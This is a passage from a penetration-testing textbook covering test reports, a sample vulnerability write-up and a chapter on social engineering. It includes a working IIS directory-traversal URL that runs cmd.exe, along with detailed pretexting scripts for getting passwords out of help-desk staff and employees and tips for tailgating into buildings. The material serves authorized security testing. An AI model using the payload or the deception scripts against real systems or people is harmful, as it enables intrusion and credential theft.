stay only long enough for a \nbrief five-minute introduction and overview of the Executive Summary followed by a \nquestion and answer period. Therefore, you should keep your Executive Summary brief and \nto the point within the context of how the results impact the business as a whole.\nYour Executive Summary should also include a business case detailing the impact of your \nfindings and any associated costs in fixing discovered vulnerabilities. You can use charts to \nsupport your case and make the report easier to read.\nAs a penetration tester, you are considered a specialist. You are hired to give not just your \nfindings but also an analysis. You should include in your Executive Summary information \non how your client compares with other companies you have performed tests on. To \npreserve confidentiality, you should not offer the names of any other clients, but instead \nprovide generic statements as to whether the security of the company falls short or excels \nwhen compared to other companies in the same industry.\nTIP\nBecause some of the officers might be unfamiliar with the need or purpose of penetration \ntesting, the best practice is to include a one-page description after the Executive Summary \nexplaining why penetration testing is important and what it entails. Include statistics and \ndefine common terms that you will use throughout the remainder of the report. This piques \nthe interest of the readers and illustrates the importance of your work. \n" }, { "page_number": 69, "text": "42\nChapter 3: Creating a Test Plan\nProject Scope\nThe Project Scope should include the IP address range tested against and the boundaries \ndefined in the contract. The boundaries include such things as whether you employed social \nengineering, whether you tested the public (Internet-facing) or private networks, and \nwhether you permitted Trojans and backdoor software applications such as Back Orifice. \nAlthough the timeframe for the test is included in the Executive Summary, you should \ninclude it here, too, because it relates to the Project Scope.\nYou should also include an estimate of the number of exploits attempted and their type. For \nexample, the report might say this:\nResults Analysis\nThe Results Analysis is the meat of the report. The length of this section can vary from as \nfew as ten pages to as many as several hundred pages, depending on the scope and detail of \nthe tests. You should use a base template for this section, including the following:\n•\nIP address and domain name of host\n•\nListening TCP and UDP ports\nMore than 230 tests were performed against hosts. These included, but were not limited \nto, the following:\n• Backdoor application vulnerabilities\n• CGI vulnerabilities\n• FTP server vulnerabilities\n• Game server vulnerabilities\n• Mail server vulnerabilities\n• Other server vulnerabilities\n• Network-based services vulnerabilities\n• Firewall vulnerabilities\n• Remote administration vulnerabilities\n• Web server vulnerabilities\n• CERT/CC advisory testing\n• BugTraq advisory testing\n• Dictionary attacks\n• CGI scanner\n• Port scanner\n• ICMP tests\n" }, { "page_number": 70, "text": "Documentation\n43\n•\nService description \n•\nTests performed \n•\nVulnerability analysis\nThe following is a sample results analysis.\nVulnerability Analysis \nVulnerability: Unicode Directory Traversal\nRisk: High\nDescription: A flaw in IIS allows for a malicious hacker to execute code on a target \nsystem. During testing, the following was entered into the URL string in a Microsoft \nInternet Explorer web browser:\nhttp://www.hackmynetwork.com/scripts/..%co%af%../..%co%af%../..%co%af%../\n..%co%af%../..%co%af%../..%co%af%../..%co%af%../..%co%af%../winnt/system32/\ncmd.exe?/c+dir+c:\nThis resulted in getting a complete directory listing of the target server. You can use \nthis same syntax to execute code on a target system. Attackers can use this exploit to \nsteal confidential information, launch another attack, or perform DoS attacks on the \ntarget network.\nVulnerability: IIS Sample Codebrws.asp\nRisk: Medium\nThe codebrws.asp sample file is shipped with Microsoft IIS server and can be used to \nremotely read arbitrary files. This might reveal sensitive information or code that can \nbe used for further exploits.\nIP: 172.16.22.199 Name: CorpWebSrvr1\nPort\nService\nDescription\n80\nHTTP (Web)\nHost appears to be running Microsoft Internet Information Server 5.0. \nAttempts to penetrate included the following: 1) msadc exploit, 2) \ncodebrw.asp exploit, 3) showcode.asp exploit, 4) cgi exploits, 5) \nwebhits.dll / webhits.htw exploits, 6) $data exploit, 7) ASP dot bug \nexploit, 8) ISM.dll buffer truncation exploit, 9) .idc and .ida exploits, \n10) +htr exploits, 11) adsamples exploit, 12) /iisadmnpasswd, 13) \ndictionary password cracking, 14) brute force password cracking, and \n15) SQL injection.\n443\nHTTPS \n(Secure Web)\nA 1024-bit digital certificate is used that will expire December 15, \n2005. The certificate is encrypted using RSA Sha1 encryption and is \nsigned by VeriSign. \n" }, { "page_number": 71, "text": "44\nChapter 3: Creating a Test Plan\nSummary\nThe Executive Summary at the beginning of the report is directed toward key decision \nmakers; the final Summary is directed toward technical personnel. This section should \ncontain a bulleted list of technical recommendations for the client. \nAppendixes\nFinally, your report should include appendixes that include the following:\n•\nContact information\n•\nScreen shots\n•\nLog output\nScreen shots and log output are especially important. You should document everything you \ndo during the test to prove your work to the client. \nWhen you present your client with the report, he should sign a receipt for it to acknowledge \nthat you have turned over your only copy of it and that you cannot be expected to reproduce \ncopies of the report without doing the work again. Your report should be digitally signed \nand presented in a form that prevents editing, such as PDF files. The footer of each page \nshould state that the information is confidential.\nAfter you have presented your report, you need to agree with your client as to what to do \nwith your copy of it. Recommended practice is to shred any hard copies you have and delete \nany soft copies using disk wiping software such as PGP. \nSummary\nThis chapter presented an introduction to the process of creating a test plan for performing \na penetration test. Penetration testing includes the following steps:\n1 Reconnaissance\n2 Enumeration\n3 Gaining access\n4 Maintaining access\n5 Covering tracks\nBefore you get started, you should devise a methodical plan on how you are to perform your \ntest. You can use the Open-Source Security Testing Methodology Manual (OSSTMM) as a \nstarting guide. \n" }, { "page_number": 72, "text": "Summary 45\nAfter you finish the test, you construct a report. The report should contain each of the \nfollowing:\n•\nExecutive Summary\n•\nProject Scope\n•\nResults Analysis\n•\nSummary\n•\nAppendixes\nAfter you present the report, the next step is to discuss policies. Any vulnerability that exists \non a network of an organization is either because the organization is not following its \nsecurity policies or because an important component is missing from its security policy. \nYou can read more about security policies in Appendix A, “Preparing a Security Policy.”\n" }, { "page_number": 73, "text": "" }, { "page_number": 74, "text": "P A R T II\nPerforming the Test\nChapter 4\nPerforming Social Engineering\nChapter 5\nPerforming Host Reconnaissance\nChapter 6\nUnderstanding and Attempting Session Hijacking\nChapter 7\nPerforming Web-Server Attacks\nChapter 8\nPerforming Database Attacks\nChapter 9\nCracking Passwords\nChapter 10\nAttacking the Network\nChapter 11\nScanning and Penetrating Wireless Networks\nChapter 12\nUsing Trojans and Backdoor Applications\nChapter 13\nPenetrating UNIX, Microsoft, and Novell Servers \nChapter 14\nUnderstanding and Attempting Buffer Overflows\nChapter 15\nDenial-of-Service Attacks\nChapter 16\nCase Study: A Methodical Step-By-Step Penetration Test Example\n" }, { "page_number": 75, "text": "Only two things are infinite: the universe and human stupidity, and I’m not sure about the \nformer.\n—Albert Einstein\n" }, { "page_number": 76, "text": "C H A P T E R 4\nPerforming Social Engineering\nInfoSecurity Europe 2004 performed a survey of office workers in London. According to a \nZDNet article published on April 20, 2004, their survey discovered that three-quarters of \nthe office workers surveyed were willing to reveal their network-access password in \nexchange for a chocolate bar.\nThis survey illustrates how easy it is to gain access to networks without touching a single \npiece of equipment. At the end of the day, no matter how much encryption and security \ntechnology you have implemented, a network is never completely secure. You can never get \nrid of the weakest link—the human factor. It does not matter how many firewalls, virtual \nprivate networks (VPNs), or encryption devices you have if your employees are willing to \ngive out access to the systems to anyone who asks for it. The easiest way to gain access to \na corporation network is to come right out and ask for it.\nPenetration testers are often asked to do just that. Companies hire testers to employ social \nengineer tactics to discover if employees are following internal policies and not disclosing \nsensitive information. A social engineer is someone who uses deception, persuasion, and \ninfluence to get information that would otherwise be unavailable. To the social engineer, the \nfact that “there is a sucker born every minute,” gives him the opportunity to circumvent \nsome of the most secure data centers in the world. These types of networks are called candy \nnetworks, because just like M&M candy, they have a hard crunchy shell but a soft chewy \ncenter.\nTwo types of social engineering exist:\n•\nTechnology based\n•\nHuman based\nTechnology-based social engineering utilizes technology to trick users into giving out \nsensitive information. A classic example of a technology-based attack is to have a pop-up \nwindow on a user computer go off at a random time and prompt the user for his password, \nas demonstrated in Figure 4-1. Here the user is told that his session has expired, and he is \nasked to enter his username and password again. After the user clicks the Submit button, \nthe username and password are sent to the computer of the malicious hacker. The malicious \nhacker can use that information later to log on to the network of the victim. \n" }, { "page_number": 77, "text": "50\nChapter 4: Performing Social Engineering\nFigure 4-1\nExample of Technology-Based Social Engineering\nIn contrast, human-based social engineering does not employ technology; it is done in \nperson or through a phone call. Both techniques rely on the predictability of human \nbehavior to want to help out those in need.\nHuman Psychology\nWith social engineering, you are not working with hardware or software, but wetware. \nWetware is the human element of computing. People are naturally trusting of others, and \nsocial engineers exploit this to their advantage. \nSocial engineering is essentially the art of persuasion. Social psychology defines seven \ntypes of persuasion:\n•\nConformity\n•\nLogic\n•\nNeed based\n•\nAuthority\n•\nReciprocation based\n•\nSimilarity based\n•\nInformation based\nConformity Persuasion\nConformity persuasion relies on peer pressure. If the target person believes that everyone \nelse is doing it, he is likely to conform and do the same. An example of conformity \npersuasion is impersonating a help desk staff to obtain access to a telecommuter computer:\nPenTester: Hello, this is Dave. I am with the help desk, and I am calling to do routine \nmaintenance on your system. \nVictimUser: Really? I have not heard about the help desk doing routine maintenance \non our computers.\n" }, { "page_number": 78, "text": "Human Psychology\n51\nPenTester: Yeah, we just started doing it last quarter. We have been doing it for all \ntelecommuters. I just finished up doing all of the computers in the northeast region. In \nfact, most of them have reported a significant improvement in the speed of their \ncomputer after I get done.\nVictimUser: Really? Well, if others are seeing better performance, I want to be a part \nof it, too. What do I have to do?\nPenTester: Oh, you do not have to do anything. I am able to do it all remotely, but to \ndo this, I need access to your VPN username and password to get in.\nVictimUser: You are able to do it all remotely? That is amazing! Well, my username \nis jdoe, and my password is letmein.\nPenTester: Great! Thank you for your help. I will VPN in to your computer and \nperform our routine maintenance. It should only take a few minutes.\nAt this point, you have just obtained the logon name and password of the user to give you \naccess to the company network. \nLogic Persuasion\nWith logic persuasion, the social engineer relies on logical arguments to obtain access. This \nis best deployed by presenting two true statements followed by a conclusion that results in \nyour favor. For example, by impersonating a help desk technician, you can acquire a \npassword through the following technique:\nPenTester: Hello. This is Mike, and I am with the help desk. As you know, security is \nan important concern for networks today. (first true statement)\nVictimUser: Yeah, I read about it everywhere. It is amazing how many networks are \nbeing broken into because administrators are leaving their systems unprotected.\nPenTester: Well, my job is to make sure all systems are protected by ensuring secure \npasswords. I am sure you want to make sure your computer is secure, right? (second \ntrue statement)\nVictimUser: Absolutely. \nPenTester: So, I want to make sure you are using a secure password. (conclusion) I \nam going to walk you through changing your password and give you an example of a \nsecure password. We will go ahead and do this now. Press Ctrl-Alt-Delete and click \nChange Password.\nVictimUser: Okay.\nPenTester: For your new password, type ABC123!!. By using a combination of letters, \nnumbers, and special characters, we have made your password harder to guess. Get \nthe idea?\nVictimUser: Yes. How often should I change my password?\n" }, { "page_number": 79, "text": "52\nChapter 4: Performing Social Engineering\nPenTester: Well, we just changed it, so you should be set for a while. I will call again \nin a few months when it is time to change it again.\nHere, by stating two true statements, you are able to present a conclusion. The victim is \nalready agreeing to the two previous statements, so he is likely to agree to the third.\nNeed-Based Persuasion\nWith need-based persuasion, because people generally want to help out fellow human \nbeings, you can present a need that the victim user can assist you with, such as giving you \na password. A classic example is calling the help desk of a large corporation as a new \nemployee:\nPenTester: Hello? Yes, I just started here, and I need some help. \nVictimUser: Well, you called the right place. How can I help you?\nPenTester: I am supposed to create a report and print it, but I do not know my \nusername and password. \nVictimUser: What is your name?\nPenTester: It is Andrew Whitaker.\nVictimUser: Hmmm… I do not show you in our directory. Are you sure a username \nand password were set up for you?\nPenTester: No, my boss said it was set up, but this is the first time I have needed to log \ninto the network. Can you set me up real quick?\nVictimUser: Sorry, but I cannot do that without authorization from your supervisor.\nPenTester: Oh, my supervisor just went into a meeting with a client. I am supposed to \nbe printing this report to show the client, and I am afraid to interrupt my supervisor \nduring this important meeting. Can you please just help me? I just started here, and I \ndo not want to set a bad impression to my boss.\nVictimUser: Well, we are not supposed to, but I guess I can help you. Your username \nis going to be awhitaker, and your password is going to be password123.\nPenTester: Thank you!\nWhen you are doing need-based social engineering, the target might be hesitant, like the \nhelp desk technician was in the previous example. If this happens, increase your emotional \nresponse. People are emotional beings and often curb policies to help someone if they feel \nan emotional connection. In the preceding example, the penetration tester appealed to \ndesperation to cause the help desk technician to empathize and want to help.\n" }, { "page_number": 80, "text": "Human Psychology\n53\nAuthority-Based Persuasion\nAuthority-based persuasion is a popular method that offers great results. Here, you \nmasquerade as someone in a position of authority. Commercials on television do this all the \ntime, having athletes tell you about their favorite deodorant or shoe. They are not experts \non these products, but because they are pop culture figures, people listen to them. In social \nengineering, the same tactic can be used by acting like a person in a high position. This is \nmost commonly done by impersonating executive-level management:\nPenTester: Hello, this is John Doe. Is this the help desk?\nVictimUser: Yes, sir. How can I help you?\nPenTester: I am trying to dial in from home, but it is not working. I think I deleted the \nexisting configuration. What do I need to do to get it to work?\nVictimUser: Let me walk you through it.\nNOTE\nIt is a federal crime in the United States to impersonate a federal police officer and a state \ncrime to impersonate a state or local police officer. \nAt this point, the help desk technician would proceed to walk the PenTester through the \nsteps for setting up remote access connectivity. They would provide the phone number and \nprobably the username and password if asked. If not, the PenTester would appeal to \nemotion by acting annoyed at the help desk technician, which would make him feel that he \nmight get into trouble if he does not give PenTester the executive password. The PenTester \nnow has access to dial in to the company network and gain access to sensitive data.\nNOTE\nYou might be wondering how you would know the name of the executive when you are \nfrom outside the company. Most websites offer profiles on each of their executives. Often, \nthey include a picture. From this information, you can get the name, sex, and approximate \nage of the executive. You only need someone of the same sex and approximate age to call \nin and impersonate the executive. Because most help desk personnel do not speak to \nexecutive-level management on a regular basis, they probably would not be able to tell if \nthe voice were different. Besides, voices over a phone line always sound slightly different \nthan they do in person, especially if you are calling from a cell phone.\nReciprocation-Based Social Engineering\nReciprocation techniques involve asking someone to do you a favor in exchange for doing \nthat person a favor in the future. It is similar to the car salesman acting as if he is doing you \na favor by saving you money in exchange for buying a car. Although it seems like he is \ndoing you a favor, he really is doing no such thing. \n" }, { "page_number": 81, "text": "54\nChapter 4: Performing Social Engineering\nA good example of this is when a dot-com company was moving into a new data center. \nThe social engineer discovered this because the company issued a press release about it. \nThe social engineer waited outside the building until he found employees carrying office \nsupplies from their old location. He offered to give someone a hand in carrying in the \nsupplies. When they got to the front door, which was secured by a card reader, he explained \nthat he had left his card at home. He asked the employee to let him in just this once. Because \nhe had done the employee a favor by carrying supplies for her, she obliged and let the social \nengineer into the building. After he was in, he walked to a row of empty cubicles with new \ncomputers. He started grabbing them and carrying them out of the building. Because \neveryone was used to seeing people carry equipment around during the move to the new \nbuilding, no one thought twice about it.\nSimilarity-Based Social Engineering\nSimilarity is another technique that is often used in sales. It deals with appealing to the \npersonal tastes and hobbies of the target person to build up a positive rapport with him. For \nexample, most companies have a section outside designated for smokers. As a penetration \ntester practicing social engineering, you can hang out around this area until someone else \nwalks out and begins smoking. You engage in a conversation and try to find out more from \nthe employee:\nPenTester: Have any kids?\nVictimUser: Yes, I have three boys.\nPenTester: Really? So do I! (Even if you do not, you act as if you have many \nsimilarities with the employee.) How old are they?\nVictimUser: 9, 11, and 14.\nPenTester: Oh, that is just about the age of my children. They are 10, 12, and 14 (Do \nnot make it exactly the same because then it gets eerie.) \nVictimUser: No way! That is such a coincidence.\nYou continue to discover more about the employee, agreeing with each point he makes. \nOver the course of a few minutes, you build up a friendly relationship with this person. \nWhen she heads back into the building, you walk in with her, even though the building \nmight have a strict policy against letting others into the building without a badge. She feels \nfamiliarity with you, and she trusts you now. At the heart of every social engineering tactic \nis exploiting the trust of others.\nInformation-Based Social Engineering\nThe last type of social engineering technique is using an information-based request. Here, \nyou give enough information to show that you know what you are talking about. For \n" }, { "page_number": 82, "text": "What It Takes to Be a Social Engineer 55\nexample, you might show up at a company saying you are with a computer consulting firm \nand have been asked to look at the router. If you then proceed to discuss routing protocols, \naccess lists, and other technical information known only to those who work on routers, the \nvictim employee will believe you and grant you access. \nBehavioral Profiling\nAs a social engineer, you should be aware of different behavioral profiles, because certain \nprofiles are more susceptible to manipulate. One of the most common behavioral \nclassifications is the D.I.S.C. profile (http://www.discprofile.com). It breaks up behavior \ninto four classes:\n•\nDominant—Managers typically have a dominant behavioral style. This is the \npersonality who likes to take charge over a situation and feels threatened if he does \nnot have control. These can be the hardest types to manipulate.\n•\nInfluence—This behavioral style is the type who loves social environments. He \nenjoys taking coffee breaks and is always talking and making jokes. He aspires to be \nthe center of attention. He can be persuaded with social engineering tactics by using \nhumor, being lighthearted, and making something appear fun. On a side note, those \nwho have the influence temperament usually are the best at social engineering.\n•\nSteadiness—This type can be the easiest to manipulate to get information from. This \nis the quiet, helpful type who does not like to rock the boat. Appealing to the \nemotional needs of this person is the most effective approach. \n•\nConscientious—This is the cautious behavioral style. This person needs to know all \nthe facts. This temperament is typically found in financial and programming \ndepartments. Use an information-based approach to provide enough detail so that this \nperson can build trust with you. \nWhat It Takes to Be a Social Engineer\nTo be successful at social engineering, you need the following four qualities:\n•\nPatience\n•\nConfidence\n•\nTrust\n•\nInside knowledge\nThe sections that follow describe each of these four traits in greater detail.\n" }, { "page_number": 83, "text": "56\nChapter 4: Performing Social Engineering\nUsing Patience for Social Engineering\nPatience is by far the most important trait to have as a social engineer. Many fail because \nthey ask for information before they build up trust with someone. An effective social \nengineer might make several phone calls to the same person before asking for information \nsuch as passwords. You should always begin the conversation with nonrelevant information. \nFor example, compare the following two conversations. In the first example, the penetration \ntester asks too quickly for information. \nPenTester: Hi. This is Valerie from the help desk.\nVictimUser: Hi. How can I help you?\nPenTester: We are updating our records and need to know your password.\nVictimUser: Wait a second. We are not supposed to give out passwords. Who is this?\nIn the second example, the penetration tester asks for unimportant information so that \nthe user is not suspicious of the questioning of the penetration tester.\nPenTester: Hi. This is Valerie from the help desk.\nVictimUser: Hi. How can I help you?\nPenTester: We are updating our records and need to know some information about \nyour computer. Do you have a laptop or a desktop?\nVictimUser: A desktop.\nPenTester: Could you read for me the serial number? It will be in the front, on the side, \nor on the back. (Most computer manufacturers place their serial numbers in these \nlocations, so it is a safe assumption that a serial number exists.)\nVictimUser: 59991124.\nPenTester: Great. Can you tell me the version of Microsoft Internet Explorer you use? \nYou can get it from going to the Help menu and choosing About.\nVictimUser: 6.0\nPenTester: Great. And do you have a 17-inch or 15-inch monitor?\nVictimUser: 15-inch.\nPenTester: And are you still using the username jdoe?\nVictimUser: No, it is johndoe.\nPenTester: Okay, I will make a note of that. And what is the current password you are \nusing?\nVictimUser: It is johndoe123.\nPenTester: Great. And what kind of mouse do you have? (You should continue the \nconversation from this point asking for additional irrelevant information so as to not \nappear conspicuous.)\n" }, { "page_number": 84, "text": "What It Takes to Be a Social Engineer 57\nBefore I was in technology, I worked as a manager for a telemarketing company. New \nemployees would always ask when they should give up offering their sales pitch when the \ncustomer repeatedly refused to buy. The answer was always the same, “Do not give up until \nthe person hangs up.” We taught them persistence and patience. These qualities often led to \nlanding a sale, just like persistence and patience in social engineering can lead you to get \nwhat you want. Of course, that could be the reason why everyone hates telemarketing calls \nand why the National Do Not Call Registry went into effect in October 2003.\nIf the employee does not give out the information right away, do not give up. In the \npreceding example, if the employee did not give out his password and cited company \npolicy, keep trying using other techniques such as need-based, logic, or informational \ntactics. If that does not work, or if the employee starts acting apprehensive, just continue \nasking questions so you do not look suspicious. Then call another employee who might not \nbe as familiar with company policy.\nUsing Confidence for Social Engineering\nThe next important trait that every social engineer should possess is confidence. If you \nappear confident, people will believe you. When I was in high school, I once had to stand \nup and present a report. However, I failed to do the research and had no report. I walked up \nand presented with a blank piece of paper in front of me. I pulled it off because I presented \nwith confidence, even though I had no report to read from. This same confidence is needed \nwhen practicing social engineering. You must be prepared for the unexpected.\nThe best way to gain this confidence is to take acting classes. Believe it or not, the best \nclasses are improvisation drama classes, which are often offered at community colleges and \nsometimes by improv theater groups in your city. Learning improvisation techniques helps \nyou to react to people no matter what they throw at you. Improv comedy can also come into \nplay so that you can bring humor into the situation should it appear that you are about to \nget caught. Everybody likes to laugh, and if you can make your target person laugh, you are \nmore likely to get him on your side. \nYou should practice in front of your coworkers and videotape or record yourself so that you \ncan be critiqued and improve your persuasion tactics. You should also use direct eye contact \nand speak in a louder voice when trying to persuade others. Both make you appear \nconfident to others. \nIf your firm is going to offer regular social engineering testing to its clients, you might want \nto invest in hiring a witness consultant to help make yourself believable to others. Lawyers \noften hire witness consultants in high-profile trials to assist with training the witness on how \nto respond to questioning. They are trained to make the person feel uncomfortable and to \ncoach them on their response. Politicians often hire witness consultants to coach them \n" }, { "page_number": 85, "text": "58\nChapter 4: Performing Social Engineering\nbefore testifying before committees. Hiring a witness consultant can train you to respond \nto uncomfortable situations so that you are never caught off guard.\nJust like a chess player, you must always be looking one step ahead of the game. If you are \ninside a building impersonating a telecommunications technician who is there to install a \ncircuit and get caught by an IT manager, for example, you need to know how to react. Do \nnot reveal that you were hired to attempt social engineering, because the news will travel \nfast, and you will be limited in attempting further tests. Instead, when the manager tells you \na new circuit was never ordered, play it off by telling the manager that you need to call the \ncentral office to see how the mix-up occurred. Act as if you are getting bad reception, and \nthen tell the manager that you need to step outside to make the call. After you are outside, \nyou are free to leave inconspicuously and come back later to try a different technique.\nNOTE\nAlways carry a copy of the authorization form in your wallet in the event that you are \ndetained by security personnel. This is especially important when you are testing the \nsecurity of government and military buildings.\nUsing Trust for Social Engineering\nBesides patience and confidence, you also must build trust with your target person. \nReciprocation and similarity techniques discussed earlier help to build trust with others. If \nyou are attempting your social engineering in person, you have to pay attention to body \nbehavior. If your target person crosses his arms, you should do the same. If he scratches his \nhead, you should do the same. This is called the mirror technique, which is a nonverbal type \nof similarity tactic. Also, if your target person begins to stand to the side or step away, you \nhave a clear sign that you are not connecting with him or, even worse, he is becoming \nsuspicious of your questioning. At that point, the best approach is usually humor to get the \nperson to relax. Be sure to laugh out loud, because laughter is contagious. That simple act \ncan cause the other person to laugh and relax (even if he does not think your jokes are \nfunny). \nSometimes in social engineering the target person loses trust with you. He might start \nasking questions like, “Who did you say you were again,” or, “What company did you say \nyou were with?” If that happens, turn the conversation back to the target. Keep talking to \nstay in charge of the conversation, gradually changing the topic of discussion back on the \ntarget. Make comments about him (“I like that shirt”) and ask him questions about himself \n(“So what do you like to do outside of work?”). People innately like to talk about \nthemselves. If it looks as if you might get caught, turn it back on the target to draw attention \naway from yourself. \n" }, { "page_number": 86, "text": "What It Takes to Be a Social Engineer 59\nUsing Inside Knowledge for Social Engineering\nThe last ingredient to successful social engineering is to possess inside knowledge of the \ncompany. You must do your research if you want to appear authentic. Before you begin, you \nneed the name of someone in the company whom you are going to contact. You can often \nget this directly off the website or by searching newsgroups for postings from internal staff. \nOne technique to get the name of an IT staff member is to call the receptionist and say, “Hi. \nI just got done doing a phone interview with the IT manager, and I am supposed to call her \nback, but I do not remember her name and do not want to embarrass myself by asking for \nit again. Could you help me out?” Many companies have an after-hour service that lets you \ncall in and punch the first few letters of the name of a person. By punching various \ncombinations of buttons on your phone, you can gain a list of several employees within the \ncompany.\nCalling after hours leads to another piece of information you should acquire before \nattempting social engineering—the hours of operation. Many companies require badges to \ngain access to a building. By knowing when employees arrive, you can piggyback behind \nanother employee and enter the building unsuspected. Even if a security guard is on duty, \nhe is usually so busy in the morning that you might be overlooked, especially if you are able \nto get into a conversation with someone on your way from the parking lot into the building.\nGather as much information as you can about the company. Many organizations have a \nquestion-answer policy when it comes to revealing sensitive information. Before giving \naway a password, the employee might ask a question that only people in the company \nwould know, such as, “When was the company founded? What is the name of the CFO?” \nAlthough it is tough to know what question might be asked of you ahead of time, doing \nsome preliminary research will equip you for the unexpected.\nNOTE\nPerhaps the most common form of gathering internal information about a company is \nthrough dumpster diving. Dumpster diving is the practice of going through a company trash \nbin to collect sensitive information such as organizational charts or financial statements. \nEmployees should shred these documents, but they usually just throw them out. A \npenetration tester, if authorized, should look through the dumpsters of his client to see if he \ncan gather sensitive information. Although not the most enjoyable task, dumpster diving \ncan yield some interesting results. You would be surprised at some of the information \npeople throw away. \nFor example, if you were aware that a new board member was hired at a company, it is \npossible that new letterhead might be produced, with the old, still official-looking \nletterhead residing in the dumpster, ripe for using in social engineering attempts.\n" }, { "page_number": 87, "text": "60\nChapter 4: Performing Social Engineering\nFirst Impressions and the Social Engineer\nHaving knowledge of the company is not always enough, however, to make a good \nimpression on your target person. This applies to using social engineering both over the \nphone or in person.\nIf you are using the telephone, make sure you have a quality connection. Avoid nuisances \nlike static or call waiting. Get rid of distractions around you because they can throw off your \nrhythm. If the employees of a company know you already, perhaps from previous \npenetration tests, you might need a voice changer to alter your voice on the phone. \nIf you are going in person and impersonating a profession such as a janitor or repair person, \nyou might need a uniform. Most common uniforms are available at your local costume \nshop. If not, you might need to hire a costume designer at a local theatre company to make \na uniform for you.\nPeople are more willing to offer help to a person of the opposite sex. Make sure you employ \nboth men and women on your penetration testing team for this reason. Also, attractive, tall \npeople tend to make a better impression. Someone with a sales background is a definite \nadvantage.\nIf you wear glasses, do not get antiglare shielding. Most offices are heavily lighted and \ncause reflections on glasses, making it hard for people to see your eyes. That allows you to \nmake quick glances around without being noticed. Do not wear sunglasses or tinted glasses, \nbecause these look suspicious. \nOften, a social engineer makes many trips into a building before trying to gain access to the \ncorporate network. Some companies even allow people to take tours of their facilities, \nproviding free access for social engineers to investigate the layout of the building. While in \nthe building, social engineers walk around and find the exits, the server room, and the \nlocation of important personnel. Many times you can see what is in a server room, and in \nsome countries it is required to have a window into the room for fire regulation purposes. \nWalk past the server room to see the type of equipment the company has, which can be \nuseful later when you are looking up exploits. \nMost importantly, have confidence. Even if you get lost in a building, do not look lost. Look \naround through the corner of your eye and do not turn your head too much so as not to cause \nsuspicion. This is the same technique used by professional shoplifters. Most shoplifters get \ncaught because they look suspicious. The best always appear confident and watch for \nsecurity staff out of the corner of their eye rather than turn their head and draw attention to \nthemselves. Act confident, and people will not question who you are or why you are in their \nbuilding. \n" }, { "page_number": 88, "text": "Tech Support Impersonation 61\nTech Support Impersonation\nNow that you know what it takes to be a social engineer, you can examine different \nexamples of impersonations used to gain access into data networks. These are not the only \ntypes of impersonations; the most successful social engineers are those who can come up \nwith new, creative ways to persuade others into giving them information.\nThe first, and most common, form of social engineering is tech support impersonation. \nHere, you impersonate a help desk technician who is seeking to gain information, such as \na password, from an unsuspecting user.\nPenTester: Hi. This is Joel in technical support. Are you noticing a slowdown in your \nsystem? \nVictimUser: Well, it does not seem too slow. \nPenTester: Hmmm… We are showing significant network degradation. Okay, let me \nlog on and test your PC. Your username is vuser, right?\nVictimUser: Yes! \nUsually the username is the same as the e-mail address. So, if the e-mail address is \nvuser@somecompany.com, it is likely that the account on the corporate network is vuser. \nYou can gather e-mail addresses off of most company websites:\nPenTester: Great! Let me look up your password. Hmmm… Our system is really \nslow… What is your password?\nVictimUser: It is SimplePassword.\nPenTester: Okay, I am in. It does not seem too bad. It must not be affecting users on \nyour floor. Strange. Well, I should check the other floors. Thanks for your time.\nVictimUser: Glad to help!\nThis example shows a simple tech support impersonation tactic. In a real-world scenario, \nyou should ask the user more questions so as to build trust with him. Incorporate humor \nwhile sounding knowledgeable about the internal network of the company. \nSome of the most overlooked and unprotected areas of a corporate network are in the home \nof a telecommuter. As a penetration tester, you should test these remote users. Often, they \nare more susceptible to social engineering tactics because they are away from the office \nwhere they might receive security awareness training and notices. They are also used to \nreceiving phone calls from the help desk staff to walk them through scenarios. \nThe hardest part about this kind of testing, however, is getting the phone numbers of those \nwho are telecommuters. You could circumvent this problem by pretending to be an \nexecutive needing the names of employees who work from home. This in itself does not \nseem like a serious breech of confidentiality, so most departments give away this \ninformation without much thought, especially if they believe they are being asked to do so \n" }, { "page_number": 89, "text": "62\nChapter 4: Performing Social Engineering\nby an executive manager. From there, you can use the phone book to look up names and \nphone numbers.\nThird-Party Impersonation\nOne of the drawbacks to help desk impersonation is that it is almost too common. \nCompanies know about this technique and make their policy known that they are not to give \nout passwords to anybody. Another technique, which is much more successful in gaining \ninternal information, is third-party impersonation.\nThrough third-party impersonation, you can gather information on the types of equipment \nand software used in an organization. Discovering this information using software tools can \nsometimes be the longest part of any penetration test. It is a lot easier just to come right out \nand ask their network administrators and IT managers. You can do this by calling and \npretending to be a salesperson with a network integrator:\nPenTester: Hi. I am with You Can Trust Us Consulting and I would like to tell you \nabout our new firewall product.\nVictimUser: That is alright. We are already quite happy with what we have.\nPenTester: Really? What type of firewall are you running?\nVictimUser: We are using PIX and NetScreen firewalls.\nPenTester: Well, I am sure those are both excellent products, but are you aware of the \ndangers of denial-of-service attacks like smurfs and ping of deaths? Are your firewalls \nprotecting against these types of attacks?\nVictimUser: Of course.\nPenTester: Well, I can tell you know what you are doing. Now, our product can also \ndo special filtering to protect your e-mail server. Are your products protecting your e-\nmail server?\nVictimUser: That is not a concern for us because we do not allow incoming e-mail \nfrom the Internet. It all comes from our corporate headquarters. \nPenTester: Well, it sounds like you are happy with your current product. I do not want \nto waste any more of your time. Let me leave my phone number and name in case you \never do decide to call us. (Proceed to leave a fake name and phone number, because \nthe target will probably never call it anyway.)\nYou can see from this short example that you can discover the type of firewall and some of \nits configuration. You know that this company is probably blocking or limiting ICMP, the \nprotocol used in smurf and ping of death attacks. You also know that TCP port 25, the port \nused by e-mail, is inaccessible via the Internet. This has saved you a lot of time trying to \nscan for these protocols and run the risk of being detected.\n" }, { "page_number": 90, "text": "Third-Party Impersonation 63\nUsing the phone is not the only way to do third-party impersonation, though. You can also \nperform it in person. I once entered into a credit union posing as a computer technician. I \ninformed the teller that I had been called in because the company server was having \nproblems and I was there to fix it. The teller walked me over to the elevator and swiped her \naccess card to let me in. I went up to the restricted second floor, where the data center was \nlocated. I then approached the receptionist on the second floor.\nThis test was already prearranged with the IT manager, who had purposely left the building \non this day to see how her staff responded to social engineering. When I informed the \nreceptionist that I was there to work on the server, she told me that the IT manager was out \nand that she was not told about a technician coming. She asked if I could come back the \nnext day. After I told her that I charged per hour and that I drove from two hours away and \nit would be a significant charge if I had to drive back and return the next day, she decided \nto let me in. She walked me back toward the data center.\nThe data center was protected well. It had two doors secured with a card swipe device and \na sign-in sheet for all visitors. For some reason, though, the receptionist did not have me \nsign in. I was also surprised to discover that she had access to get into the data center. She \nopened the doors, and I walked directly into the data center, without checking my \nidentification or validating my purpose for being there. The only thing she did tell me was \nthat she did not have the passwords to the servers. I told her that would not be a problem. \n(A 